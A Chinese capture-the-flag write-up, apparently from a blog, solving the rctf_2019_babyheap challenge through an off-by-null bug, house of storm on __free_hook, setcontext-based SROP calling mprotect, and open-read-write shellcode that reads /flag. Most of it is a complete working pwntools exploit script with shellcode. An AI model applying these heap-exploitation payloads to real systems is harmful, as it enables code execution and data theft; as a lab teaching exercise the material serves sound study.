• house of storm+堆SROP+orw


    同样是house of storm,但是如果程序开启了沙箱,禁用了system函数,那我们常规把hook函数改为system函数的方法就失效了,
    若是沙箱没有禁用open,read,write函数,这里我们可以考虑用orw。

    例题

    rctf_2019_babyheap

    在这里插入图片描述

    在这里插入图片描述
    保护全开,禁用了execve就是禁用了system,因为system函数通过调用execve函数才能执行。
    看一下ida

    main函数

    可以看到是实现了四个功能,增改删查

    int __cdecl main(int argc, const char **argv, const char **envp)
    {
      init(argc, argv, envp);
      while ( 1 )
      {
        menu();
        switch ( get_int() )
        {
          case 1:
            add();
            break;
          case 2:
            edit();
            break;
          case 3:
            delete();
            break;
          case 4:
            show();
            break;
          case 5:
            puts("See you next time!");
            exit(0);
          default:
            puts("Invalid choice!");
            break;
        }
      }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29

    add函数

    可以申请最大0x1000大小的chunk,最多申请16个chunk

    unsigned __int64 add()
    {
      void **v0; // rbx
      int i; // [rsp+0h] [rbp-20h]
      int size; // [rsp+4h] [rbp-1Ch]
      unsigned __int64 v4; // [rsp+8h] [rbp-18h]
    
      v4 = __readfsqword(0x28u);
      for ( i = 0; *(ptrs + 2 * i) && i <= 15; ++i )
        ;
      if ( i == 16 )
      {
        puts("You can't");
        exit(-1);
      }
      printf("Size: ");
      size = get_int();
      if ( size <= 0 || size > 0x1000 )
      {
        puts("Invalid size :(");
      }
      else
      {
        *(ptrs + 4 * i + 2) = size;
        v0 = (ptrs + 16 * i);
        *v0 = calloc(size, 1uLL);
        puts("Add success :)");
      }
      return __readfsqword(0x28u) ^ v4;
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30

    edit函数

    存在off-by-null漏洞

    unsigned __int64 edit()
    {
      unsigned int v1; // [rsp+0h] [rbp-10h]
      unsigned __int64 v2; // [rsp+8h] [rbp-8h]
    
      v2 = __readfsqword(0x28u);
      printf("Index: ");
      v1 = get_int();
      if ( v1 <= 0xF && *(ptrs + 2 * v1) )
      {
        printf("Content: ");
        *(*(ptrs + 2 * v1) + read_n(*(ptrs + 2 * v1), *(ptrs + 4 * v1 + 2))) = 0; //off-by-one
        puts("Edit success :)");
      }
      else
      {
        puts("Invalid index :(");
      }
      return __readfsqword(0x28u) ^ v2;
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20

    delete函数

    unsigned __int64 delete()
    {
      unsigned int v1; // [rsp+4h] [rbp-Ch]
      unsigned __int64 v2; // [rsp+8h] [rbp-8h]
    
      v2 = __readfsqword(0x28u);
      printf("Index: ");
      v1 = get_int();
      if ( v1 <= 0xF && *(ptrs + 2 * v1) )
      {
        free(*(ptrs + 2 * v1));
        *(ptrs + 2 * v1) = 0LL;
        *(ptrs + 4 * v1 + 2) = 0;
        puts("Delete success :)");
      }
      else
      {
        puts("Invalid index :(");
      }
      return __readfsqword(0x28u) ^ v2;
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21

    show函数

    unsigned __int64 show()
    {
      unsigned int v1; // [rsp+4h] [rbp-Ch]
      unsigned __int64 v2; // [rsp+8h] [rbp-8h]
    
      v2 = __readfsqword(0x28u);
      printf("Index: ");
      v1 = get_int();
      if ( v1 <= 0xF && *(ptrs + 2 * v1) )
        puts(*(ptrs + 2 * v1));
      else
        puts("Invalid index :(");
      return __readfsqword(0x28u) ^ v2;
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14

    思路

    看了大佬的博客rctf_2019_babyheap,这里对其进行详细的解析。
    在这里插入图片描述
    程序禁用了fastbin,且能申请最大为0x1000大小的chuck,可以使用house of storm,修改free_hook的地址为shellcode,执行shellcode,这里我们需要用orw来写shellcode,并且在这之前需要用mprotect函数修改free_hook段为可读可写可执行权限。

    调试过程

    先把前面的写好

    # coding=utf-8
    from pwn import *
    #sh = remote("node4.buuoj.cn", 29278)
    sh = process('./rctf_2019_babyheap')
    context(log_level = 'debug', arch = 'amd64', os = 'linux')
    elf = ELF("./rctf_2019_babyheap")
    libc = ELF('../../libc-2.23.so--64')
    def dbg():
            gdb.attach(sh)
            pause()
    
    #命令简写化
    s       = lambda data               :sh.send(data)
    sa      = lambda delim,data         :sh.sendafter(delim, data)
    sl      = lambda data               :sh.sendline(data)
    sla     = lambda delim,data         :sh.sendlineafter(delim, data)
    r       = lambda num=4096           :sh.recv(num)
    ru      = lambda delims   :sh.recvuntil(delims)
    itr     = lambda                    :sh.interactive()
    uu32    = lambda data               :u32(data.ljust(4,'\0'))
    uu64    = lambda data               :u64(data.ljust(8,'\0'))
    leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
    lg=lambda address,data:log.success('%s: '%(address)+hex(data))
    
     
    def add(size):
    	ru("Choice: \n")
    	sl('1')
    	ru("Size: ")
    	sl(str(size))
    
    def free(index):
    	ru("Choice: \n")
    	sl('3')
    	ru("Index: ")
    	sl(str(index))
    
    def show(index):
    	ru("Choice: \n")
    	sl('4')
    	ru("Index: ")
    	sl(str(index))
    
    def edit(index, content):
    	ru("Choice: \n")
    	sl('2')
    	ru("Index: ")
    	sl(str(index))
    	ru("Content: ")
    	s(content)
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50

    首先构造堆块重叠,泄露libc基地址

    先申请四个chunk,申请的chunk真正大小分别为0x90,0x70,0x100,0x20,
    chunk_3是为了free前三个chunk后防止堆块合并

    add(0x80)#0
    add(0x68)#1
    add(0xf0)#2
    add(0x18)#3
    dbg()
    
    • 1
    • 2
    • 3
    • 4
    • 5

    在这里插入图片描述
    之后free chunk_0,此时因为禁用了fastbin,所以chunk_0直接进入了unsortedbin里,再利用off-by-null漏洞修改chunk_2的pre_size为0x100(chunk_0+chunk_1正好就是0x100),修改chunk_2的size为0x100,使他处于free状态。

    free(0)
    payload = 'a'*0x60 + p64(0x100)
    edit(1, payload)
    
    dbg()
    
    • 1
    • 2
    • 3
    • 4
    • 5

    在这里插入图片描述
    free chunk_2后,触发堆块前向合并,chunk_2的pre_size为是0x100,chunk_0和chunk_1加起来是0x100,就是前三个chunk合并。unsortedbin里存放着原chunk_0的起始地址。

    free(2)
    
    dbg()
    
    • 1
    • 2
    • 3

    在这里插入图片描述

    在这里插入图片描述
    此时chunk_1是没有被free的,然后我们再次申请0x80(原chunk_0大小)大小的chunk,此时原chunk_1的mem区域存放着main_arena+88,因为chunk_1并没有被free,所以我们直接调用show函数即可泄露libc基地址。

    add(0x80)#0
    show(1)
    malloc_hook = u64(ru('\x7f').ljust(8, '\x00')) - 0x58 - 0x10
    libc.address = malloc_hook - libc.sym['__malloc_hook']
    system = libc.sym['system']
    free_hook = libc.sym['__free_hook']
    set_context = libc.symbols['setcontext']
    lg('libc_base',libc.address)
    
    dbg()
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10

    在这里插入图片描述
    在这里插入图片描述

    构造unsortbin chunk 和largebin chunk,进行 house of strom

    先申请0x160大小的chunk,将unsortbin中残余chunk清空,之后构造unsortbin chunk 和largebin chunk的调试过程请参考我另一篇文章House of storm
    此时我们已以可以修改free_hook处的值了

    #---------------布置chunk-------------------------#
    add(0x18)#4
    add(0x508)#5
    add(0x18)#6
    add(0x18)#7
    add(0x508)#8
    add(0x18)#9
    add(0x18)#10
    
    #dbg()
    #----------------准备 unsorted chunk-----------------------#	
    edit(5, 'a'*0x4f0+p64(0x500))
    
    #dbg()
    
    free(5)
    edit(4, 'a'*0x18)
    
    #dbg()
    
    add(0x18)#5
    add(0x4d8)#11
    free(5)
    free(6)
    
    #dbg()
    
    add(0x30)#5
    add(0x4e8)#6
    
    #dbg()
    
    #-------------------准备 large chunk-----------------------------------#
    edit(8, 'a'*0x4f0+p64(0x500))
    free(8)
    edit(7, 'a'*0x18)
    add(0x18)#8
    add(0x4d8)#12
    free(8)
    free(9)
    add(0x40)#8
    #---------------unsorted chunk 和 large chunk 放到对应位置----------------------#
    
    #dbg()
    
    free(6)
    
    #dbg()
    
    add(0x4e8)#6
    
    #dbg()
    
    free(6)
    
    #dbg()
    
    #pause()
    #--------------修改他们的满足条件进行 house of strom------------------------------#
    storage = free_hook
    fake_chunk = storage - 0x20
    payload = '\x00'*0x10 + p64(0) + p64(0x4f1) + p64(0) + p64(fake_chunk)
    edit(11, payload)
    
    #dbg()
    
    payload = '\x00'*0x20 + p64(0) + p64(0x4e1) + p64(0) + p64(fake_chunk+8) +p64(0) + p64(fake_chunk-0x18-5)
    edit(12, payload)
    
    #dbg()
    
    add(0x48)#6
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71
    • 72

    mprotect+shellcode

    修改free_hook为set_context+53,free_hook+0x18,free_hook+0x18,shellcode1,
    setcontext函数负责对各个寄存器进行赋值,甚至可以控制rip,对寄存器进行赋值主要从+53开始,shellcode1即为read(0, new_addr,0x1000),new_addr即为(free_hook &0xFFFFFFFFFFFFF000)free_hook所在内存页的起始位置。我们将对这里赋予可读可写可执行权限。

    new_addr =  free_hook &0xFFFFFFFFFFFFF000
    shellcode1 = '''
    xor rdi,rdi
    mov rsi,%d
    mov edx,0x1000
    
    mov eax,0
    syscall
    
    jmp rsi
    ''' % new_addr
    edit(6, 'a'*0x10+p64(set_context+53)+p64(free_hook+0x18)*2+asm(shellcode1))
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12

    在这里插入图片描述

    修改前
    在这里插入图片描述
    修改后
    在这里插入图片描述

    SROP

    我们利用pwntools里的SigreturnFrame()执行mprotect(new_addr,0x1000,7),并将rsp跳转到
    free_hook+0x10处,即0x00007f05935487c0,之后执行0x00007f05935487c0地址处的代码,即我们刚才写入的shellcode1,执行read(0, new_addr,0x1000),将我们构造的第二个shellcode写入0x00007f0593548000处 ,并将rip跳转到我们写的第二个shellcode处执行。

    frame = SigreturnFrame()
    frame.rsp = free_hook+0x10
    frame.rdi = new_addr
    frame.rsi = 0x1000
    frame.rdx = 7
    frame.rip = libc.sym['mprotect']
    edit(12, str(frame))
    free(12)
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8

    在这里插入图片描述
    在这里插入图片描述

    ORW

    利用orw构造shellcode,发送过去并执行,获得shell

    shellcode2 = '''
    mov rax, 0x67616c662f ;// /flag
    push rax
    
    mov rdi, rsp ;// /flag
    mov rsi, 0 ;// O_RDONLY
    xor rdx, rdx ;
    mov rax, 2 ;// SYS_open
    syscall
    
    mov rdi, rax ;// fd 
    mov rsi,rsp  ;
    mov rdx, 1024 ;// nbytes
    mov rax,0 ;// SYS_read
    syscall
    
    mov rdi, 1 ;// fd 
    mov rsi, rsp ;// buf
    mov rdx, rax ;// count 
    mov rax, 1 ;// SYS_write
    syscall
    
    mov rdi, 0 ;// error_code
    mov rax, 60
    syscall
    '''
    sl(asm(shellcode2))
    itr()
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28

    在这里插入图片描述

    exp

    # coding=utf-8
    from pwn import *
    #sh = remote("node4.buuoj.cn", 29278)
    sh = process('./rctf_2019_babyheap')
    context(log_level = 'debug', arch = 'amd64', os = 'linux')
    elf = ELF("./rctf_2019_babyheap")
    libc = ELF('../../libc-2.23.so--64')
    def dbg():
            gdb.attach(sh)
            pause()
    
    #命令简写化
    s       = lambda data               :sh.send(data)
    sa      = lambda delim,data         :sh.sendafter(delim, data)
    sl      = lambda data               :sh.sendline(data)
    sla     = lambda delim,data         :sh.sendlineafter(delim, data)
    r       = lambda num=4096           :sh.recv(num)
    ru      = lambda delims   :sh.recvuntil(delims)
    itr     = lambda                    :sh.interactive()
    uu32    = lambda data               :u32(data.ljust(4,'\0'))
    uu64    = lambda data               :u64(data.ljust(8,'\0'))
    leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
    lg=lambda address,data:log.success('%s: '%(address)+hex(data))
    
     
    def add(size):
    	ru("Choice: \n")
    	sl('1')
    	ru("Size: ")
    	sl(str(size))
    
    def free(index):
    	ru("Choice: \n")
    	sl('3')
    	ru("Index: ")
    	sl(str(index))
    
    def show(index):
    	ru("Choice: \n")
    	sl('4')
    	ru("Index: ")
    	sl(str(index))
    
    def edit(index, content):
    	ru("Choice: \n")
    	sl('2')
    	ru("Index: ")
    	sl(str(index))
    	ru("Content: ")
    	s(content)
    
    def pwn():
     
    	add(0x80)#0
    	add(0x68)#1
    	add(0xf0)#2
    	add(0x18)#3
    	
    	#dbg()
    
    	free(0)
    	payload = 'a'*0x60 + p64(0x100)
    	edit(1, payload)
    	
    	#dbg()
    	
    	free(2)
    
    	#dbg()
    
    	add(0x80)#0
    	show(1)
    	malloc_hook = u64(ru('\x7f').ljust(8, '\x00')) - 0x58 - 0x10
    	libc.address = malloc_hook - libc.sym['__malloc_hook']
    	system = libc.sym['system']
    	free_hook = libc.sym['__free_hook']
    	set_context = libc.symbols['setcontext']
    	lg('libc_base',libc.address)
    	
    	#dbg()
    	
    	add(0x160)#2
    
    	#dbg()
    	#---------------布置chunk-------------------------#
    	add(0x18)#4
    	add(0x508)#5
    	add(0x18)#6
    	add(0x18)#7
    	add(0x508)#8
    	add(0x18)#9
    	add(0x18)#10
    
    	#dbg()
    	#----------------准备 unsorted chunk-----------------------#	
    	edit(5, 'a'*0x4f0+p64(0x500))
    
    	#dbg()
    
    	free(5)
    	edit(4, 'a'*0x18)
    	
    	#dbg()
    
    	add(0x18)#5
    	add(0x4d8)#11
    	free(5)
    	free(6)
    	
    	#dbg()
    	
    	add(0x30)#5
    	add(0x4e8)#6
    	
    	#dbg()
    	
    	#-------------------准备 large chunk-----------------------------------#
    	edit(8, 'a'*0x4f0+p64(0x500))
    	free(8)
    	edit(7, 'a'*0x18)
    	add(0x18)#8
    	add(0x4d8)#12
    	free(8)
    	free(9)
    	add(0x40)#8
    	#---------------unsorted chunk 和 large chunk 放到对应位置----------------------#
    	
    	#dbg()
    	
    	free(6)
    	
    	#dbg()
    	
    	add(0x4e8)#6
    	
    	#dbg()
    	
    	free(6)
    
    	#dbg()
    
    	#pause()
    	#--------------修改他们的满足条件进行 house of strom------------------------------#
    	storage = free_hook
    	fake_chunk = storage - 0x20
    	payload = '\x00'*0x10 + p64(0) + p64(0x4f1) + p64(0) + p64(fake_chunk)
    	edit(11, payload)
    
    	#dbg()
    
    	payload = '\x00'*0x20 + p64(0) + p64(0x4e1) + p64(0) + p64(fake_chunk+8) +p64(0) + p64(fake_chunk-0x18-5)
    	edit(12, payload)
    
    	#dbg()
    
    	add(0x48)#6
    	
    	#dbg()
    
    	new_addr =  free_hook &0xFFFFFFFFFFFFF000
    	shellcode1 = '''
    	xor rdi,rdi
    	mov rsi,%d
    	mov edx,0x1000
    
    	mov eax,0
    	syscall
    
    	jmp rsi
    	''' % new_addr
    	edit(6, 'a'*0x10+p64(set_context+53)+p64(free_hook+0x18)*2+asm(shellcode1))
    
    	#dbg()
    
    	frame = SigreturnFrame()
    	frame.rsp = free_hook+0x10
    	frame.rdi = new_addr
    	frame.rsi = 0x1000
    	frame.rdx = 7
    	frame.rip = libc.sym['mprotect']
    	edit(12, str(frame))
    	free(12)
    	#dbg() 
    
    	shellcode2 = '''
    	mov rax, 0x67616c662f ;// /flag
    	push rax
    
    	mov rdi, rsp ;// /flag
    	mov rsi, 0 ;// O_RDONLY
    	xor rdx, rdx ;
    	mov rax, 2 ;// SYS_open
    	syscall
    
    	mov rdi, rax ;// fd 
    	mov rsi,rsp  ;
    	mov rdx, 1024 ;// nbytes
    	mov rax,0 ;// SYS_read
    	syscall
    
    	mov rdi, 1 ;// fd 
    	mov rsi, rsp ;// buf
    	mov rdx, rax ;// count 
    	mov rax, 1 ;// SYS_write
    	syscall
    
    	mov rdi, 0 ;// error_code
    	mov rax, 60
    	syscall
    	'''
    	sl(asm(shellcode2))
    	
    
    	dbg()
    	itr()
     
     
    pwn()
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71
    • 72
    • 73
    • 74
    • 75
    • 76
    • 77
    • 78
    • 79
    • 80
    • 81
    • 82
    • 83
    • 84
    • 85
    • 86
    • 87
    • 88
    • 89
    • 90
    • 91
    • 92
    • 93
    • 94
    • 95
    • 96
    • 97
    • 98
    • 99
    • 100
    • 101
    • 102
    • 103
    • 104
    • 105
    • 106
    • 107
    • 108
    • 109
    • 110
    • 111
    • 112
    • 113
    • 114
    • 115
    • 116
    • 117
    • 118
    • 119
    • 120
    • 121
    • 122
    • 123
    • 124
    • 125
    • 126
    • 127
    • 128
    • 129
    • 130
    • 131
    • 132
    • 133
    • 134
    • 135
    • 136
    • 137
    • 138
    • 139
    • 140
    • 141
    • 142
    • 143
    • 144
    • 145
    • 146
    • 147
    • 148
    • 149
    • 150
    • 151
    • 152
    • 153
    • 154
    • 155
    • 156
    • 157
    • 158
    • 159
    • 160
    • 161
    • 162
    • 163
    • 164
    • 165
    • 166
    • 167
    • 168
    • 169
    • 170
    • 171
    • 172
    • 173
    • 174
    • 175
    • 176
    • 177
    • 178
    • 179
    • 180
    • 181
    • 182
    • 183
    • 184
    • 185
    • 186
    • 187
    • 188
    • 189
    • 190
    • 191
    • 192
    • 193
    • 194
    • 195
    • 196
    • 197
    • 198
    • 199
    • 200
    • 201
    • 202
    • 203
    • 204
    • 205
    • 206
    • 207
    • 208
    • 209
    • 210
    • 211
    • 212
    • 213
    • 214
    • 215
    • 216
    • 217
    • 218
  • 相关阅读:
    Matlab:测试空字符串和缺失值
    纳米软件自动电源测试系统如何助力电源模块启动延迟和上升/下降时间测试?
    BM4 合并两个排序的链表
    「前端+鸿蒙」核心技术HTML5+CSS3(十三)
    【ManageEngine】网络性能监控工具
    Arduino ESP32使用U3115S芯片控制H桥驱动有刷直流电机
    MYSQL 基本操作 (3)
    netty系列之:protobuf在UDP协议中的使用
    Linux之计划任务
    北斗短报文通信原理及功能介绍
  • 原文地址:https://blog.csdn.net/tbsqigongzi/article/details/126262352